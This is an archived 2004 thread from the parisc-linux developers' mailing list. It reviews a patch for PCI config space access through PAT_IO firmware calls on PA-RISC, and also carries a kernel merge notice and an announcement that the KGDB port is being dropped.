List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 17:20:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20712

On Tue, Jan 27, 2004 at 02:09:38PM +0530, Naresh Kumar wrote:
> When I was trying to bring up PA-Linux-2.4 on some of the newer boxes, I
> discovered that reads/writes from the PCI config space were failing (

Naresh,
Awesome!
Thanks for pulling this together and sending it out.

...
> have been made to three files:
> 
> 1. arch/parisc/kernel/firmware.c - Rev 1.47
> 2. arch/parisc/kernel/lba_pci.c - Rev 1.54
> 3. include/asm-parisc/pdc.h - Rev 1.48
> 
> Kindly let me know your comments:
> 
> --------------------START------------------------------------------------------------------------------
> 
> --- lba_pci.c.1.54       Fri Jan 23 15:47:41 2004
> +++ lba_pci.c.modified   Fri Jan 23 15:53:15 2004

The diff should apply with:
	cd /usr/src/linux-2.4; patch -p1 < ~/diff-2.4-PAT_CFG

This patch doesn't do that or even come close.
Can you send a new patch generated with:
	cd /usr/src/linux-2.4 ; cvs diff -uNp  > ~/diff-2.4-PAT_CFG

thanks,
grant


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] error?
Date: Tue, 27 Jan 2004 10:22:56 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20040127172256.GB28476@colo.lackof.org>
References: <40163368.74DACC64@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623154 4883 80.91.229.3 (22 Nov 2014 02:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Naresh Kumar <knaresh@india.hp.com>
Original-X-From: grundler@lackof.org  Tue Jan 27 10:22:57 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78DD448D1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 10:22:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D2DAA2980A1; Tue, 27 Jan 2004 10:22:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28564-02; Tue, 27 Jan 2004 10:22:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 444F9298052; Tue, 27 Jan 2004 10:22:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40163368.74DACC64@india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 17:22:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20713

On Tue, Jan 27, 2004 at 03:16:16PM +0530, Naresh Kumar wrote:
>    r->end    = p->end;
>    r->flags  = IORESOURCE_MEM;
>    r->parent = r->sibling = r->child = NULL;
>    break;
>    lba_dev->gmmio_base = p->start;
>    break;
> 
>   case PAT_NPIOP:
>     printk(KERN_WARNING MODULE_NAME
>     " range[%d] : ignoring NPIOP (0x%lx)\n",
>     i, p->start);
>    break;
> -------------------------------------------------------------------
> 
> Please note the extra lines after the 'break;'. The version of
> 'lba_pci.c' is 1.7. Seems to have happened due to oversight.

Those are "extra"?
The version of code in linux-2.4 CVS has:
                case PAT_GMMIO:
                        printk(KERN_WARNING MODULE_NAME
                                " range[%d] : ignoring GMMIO (0x%lx)\n",
                                i, p->start);
                        lba_dev->gmmio_base = p->start;
                        break;

The code you quoted is missing the "case PAT_GMMIO" and printk.

thanks,
grant


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] error?
Date: Tue, 27 Jan 2004 17:37:42 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20040127173742.GB11844@parcelfarce.linux.theplanet.co.uk>
References: <40163368.74DACC64@india.hp.com>
	<20040127172256.GB28476@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623154 4885 80.91.229.3 (22 Nov 2014 02:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Naresh Kumar <knaresh@india.hp.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Tue Jan 27 10:37:44 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CA8A48B2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 10:37:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AlX9i-0005GH-Tq; Tue, 27 Jan 2004 17:37:42 +0000
Content-Disposition: inline
In-Reply-To: <20040127172256.GB28476@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 17:37:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20714

On Tue, Jan 27, 2004 at 10:22:56AM -0700, Grant Grundler wrote:
> On Tue, Jan 27, 2004 at 03:16:16PM +0530, Naresh Kumar wrote:
> >    r->end    = p->end;
> >    r->flags  = IORESOURCE_MEM;
> >    r->parent = r->sibling = r->child = NULL;
> >    break;
> >    lba_dev->gmmio_base = p->start;
> >    break;
> > 
> >   case PAT_NPIOP:
> >     printk(KERN_WARNING MODULE_NAME
> >     " range[%d] : ignoring NPIOP (0x%lx)\n",
> >     i, p->start);
> >    break;
> > -------------------------------------------------------------------
> > 
> > Please note the extra lines after the 'break;'. The version of
> > 'lba_pci.c' is 1.7. Seems to have happened due to oversight.
> 
> Those are "extra"?
> The version of code in linux-2.4 CVS has:
>                 case PAT_GMMIO:
>                         printk(KERN_WARNING MODULE_NAME
>                                 " range[%d] : ignoring GMMIO (0x%lx)\n",
>                                 i, p->start);
>                         lba_dev->gmmio_base = p->start;
>                         break;
> 
> The code you quoted is missing the "case PAT_GMMIO" and printk.

The bit he's referring to is:

>    break;
>    lba_dev->gmmio_base = p->start;
>    break;

which is clearly bogus.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.2-rc2 merging
Date: Tue, 27 Jan 2004 17:56:47 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20040127175647.GC11844@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623155 4888 80.91.229.3 (22 Nov 2014 02:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Tue Jan 27 10:56:48 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 810BE48B2
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Jan 2004 10:56:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AlXSB-0005Z1-S9
	for parisc-linux@parisc-linux.org; Tue, 27 Jan 2004 17:56:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 17:56:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20715


After a conversation with jejb, we've decided to pull 2.6.2-rc2 into our
tree to work on fixing some of the problems with it more effectively.
This does mean that the tree will PROBABBLY NOT WORK, MAY EAT YOUR
CAT, etc.  Unless you know what you're doing stick with the head of
tree today.  Thanks.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.2-rc2 merging
Date: 27 Jan 2004 12:35:59 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1075228562.2952.30.camel@mulgrave>
References: <20040127175647.GC11844@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623155 4890 80.91.229.3 (22 Nov 2014 02:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Jan 27 11:36:09 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BFC64843
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Jan 2004 11:36:09 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0RIa5a20120; Tue, 27 Jan 2004 13:36:07 -0500
In-Reply-To: <20040127175647.GC11844@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 18:36:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20716

On Tue, 2004-01-27 at 11:56, Matthew Wilcox wrote:
> After a conversation with jejb, we've decided to pull 2.6.2-rc2 into our
> tree to work on fixing some of the problems with it more effectively.
> This does mean that the tree will PROBABBLY NOT WORK, MAY EAT YOUR
> CAT, etc.  Unless you know what you're doing stick with the head of
> tree today.  Thanks.

Actually, the major issue that I can't fix is Vojtec's partial merge of
the parisc input subsystem, so if your name is Helge, this means you
need to update.

I also have been running a 2.6.2-rc2 based kernel on my PA boxes since
it was released with no ill effects (I do have to confess not having
seen the cat at all after doing the upgrade, but I'm assuming this is
because I didn't have one before...)

James




From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using PAT_IO calls for PCI config space reads and
	writes.
Date: Tue, 27 Jan 2004 18:43:45 +0000
Lines: 88
Approved: news@gmane.org
Message-ID: <20040127184345.GD11844@parcelfarce.linux.theplanet.co.uk>
References: <401623CA.59AE3CCD@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623155 4898 80.91.229.3 (22 Nov 2014 02:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Naresh Kumar <knaresh@india.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Jan 27 11:43:46 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 437FE4843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 11:43:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AlYBd-0006ZJ-K5; Tue, 27 Jan 2004 18:43:45 +0000
Content-Disposition: inline
In-Reply-To: <401623CA.59AE3CCD@india.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 18:43:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20717

On Tue, Jan 27, 2004 at 02:09:38PM +0530, Naresh Kumar wrote:
> --------------------START------------------------------------------------------------------------------
> 
> --- lba_pci.c.1.54       Fri Jan 23 15:47:41 2004
> +++ lba_pci.c.modified   Fri Jan 23 15:53:15 2004
> @@ -504,6 +504,13 @@ lba_rd_cfg(struct lba_device *d, u32 tok
>         return(data);
>  }
> 
> +#ifdef __LP64__
> +#define PAT_CFG_READ(a,b,c)    pdc_pat_io_pci_cfg_read(a,b,c)
> +#define PAT_CFG_WRITE(a,b,c)   pdc_pat_io_pci_cfg_write(a,b,c)
> +#else
> +#define PAT_CFG_READ(a,b,c)
> +#define PAT_CFG_WRITE(a,b,c)
> +#endif

Hmm.  Why the abstraction?  The normal way to do this is to define dummy
functions when they can't be called.  See include/asm-parisc/pdc.h:

#else /* !__LP64__ */
/* No PAT support for 32-bit kernels...sorry */
#define pdc_pat_get_irt_size(num_entries, cell_numn)    PDC_BAD_PROC
#define pdc_pat_get_irt(r_addr, cell_num)       PDC_BAD_PROC

I actually think the right way to handle this is probably like this:

#define pat_cfg_addr(bus, devfn, addr) ((bus << 16) | (devfn << 8) | addr)

static int pat_cfg_read(struct pci_bus *bus, unsigned int devfn, int pos, int size, u32 *data)
{
	int tok = pat_cfg_addr(bus->number, devfn, pos);
	int ret = pdc_pat_io_pci_cfg_read(tok, size, &data);
	return (ret == SUCCESS);
}

... same for write here ...

static struct pci_ops pat_cfg_ops = {
	.read = pat_cfg_read,
	.write = pat_cfg_write,
};

And then choose whether to use pat_cfg_ops or lba_cfg_ops at probe time.

> +/**
> + * pdc_pat_io_pci_cfg_read - Read PCI configuration space.
> + * @pci_addr: PCI configuration space address for which the read
> request is being made.
> + * @pci_size: Size of read in bytes. Valid values are 1, 2, and 4.
> + * @mem_addr: Pointer to return memory buffer.
> + *
> + */
> +int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, void
> *mem_addr)
> +{
> +       int retval;
> +       spin_lock_irq(&pdc_lock);
> +       retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_READ,
> __pa(pdc_result),
> +                             pci_addr, pci_size);
> +       memcpy((char *)mem_addr, (char *) ((char *)pdc_result +
> (sizeof(unsigned long) - pci_size))
> , pci_size);
> +       spin_unlock_irq(&pdc_lock);
> +
> +       return retval;
> +}

I don't see why you need a memcpy, the data should be sufficiently aligned.
Casting to the right data type should be enough.

> A couple of questions:
> 1. In the definition of 'pdc_pat_io_pci_cfg_read( )' and
> 'pdc_pat_io_pci_cfg_write( )' above, can I  use 'cpu_to_le64( )' kind of
> function instead of ordering the bytes manually in the 'memcpy( )'?
> 2. Can these changes be propagated to 2.6 also?

You should be developing against 2.6 in the first place.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] KGDB parisc port
Date: Tue, 27 Jan 2004 20:08:58 +0100
Organization: ESIEE
Lines: 16
Approved: news@gmane.org
Message-ID: <20040127200858.0afd0824.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623155 4902 80.91.229.3 (22 Nov 2014 02:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: varenet@esiee.fr  Tue Jan 27 12:09:02 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF4A04843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 12:09:01 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep16-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with SMTP
	id <20040127190859.OKPR8554.viefep16-int.chello.at@Bibou>
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 20:08:59 +0100
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 19:09:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20718

Hi pa-ckers,

Considering the very little interest raised by the parisc kgdb port, i'm
sad to announce that i'm giving up maintaining it.

If anyone is interested in taking over the work, please let me know.

FYI, see http://www.pateam.org/kgdb.html

Greetings,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using PAT_IO calls for PCI config space reads and
	writes.
Date: Tue, 27 Jan 2004 12:22:12 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040127192212.GC28476@colo.lackof.org>
References: <401623CA.59AE3CCD@india.hp.com>
	<20040127184345.GD11844@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623156 5162 80.91.229.3 (22 Nov 2014 02:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Naresh Kumar <knaresh@india.hp.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Tue Jan 27 12:22:13 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 590A64843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 12:22:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 99A6829803A; Tue, 27 Jan 2004 12:22:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29805-05; Tue, 27 Jan 2004 12:22:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1CDB2298027; Tue, 27 Jan 2004 12:22:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040127184345.GD11844@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 19:22:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20719

On Tue, Jan 27, 2004 at 06:43:45PM +0000, Matthew Wilcox wrote:
> > 2. Can these changes be propagated to 2.6 also?
> 
> You should be developing against 2.6 in the first place.

Should - but they don't about 2.6.  At least not yet.
I'll deal with forward porting the changes once your comments are integrated.
Naresh, can you take care of that and resubmit?

thanks,
grant


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using PAT_IO calls for PCI config space reads and
	writes.
Date: Tue, 27 Jan 2004 19:42:27 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20040127194227.GE11844@parcelfarce.linux.theplanet.co.uk>
References: <401623CA.59AE3CCD@india.hp.com>
	<20040127184345.GD11844@parcelfarce.linux.theplanet.co.uk>
	<20040127192212.GC28476@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623156 5164 80.91.229.3 (22 Nov 2014 02:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:56 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org,
	Naresh Kumar <knaresh@india.hp.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Tue Jan 27 12:42:29 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E11E48A5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 12:42:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AlZ6R-0007gL-VE; Tue, 27 Jan 2004 19:42:27 +0000
Content-Disposition: inline
In-Reply-To: <20040127192212.GC28476@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 19:42:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20720

On Tue, Jan 27, 2004 at 12:22:12PM -0700, Grant Grundler wrote:
> On Tue, Jan 27, 2004 at 06:43:45PM +0000, Matthew Wilcox wrote:
> > > 2. Can these changes be propagated to 2.6 also?
> > 
> > You should be developing against 2.6 in the first place.
> 
> Should - but they don't about 2.6.  At least not yet.
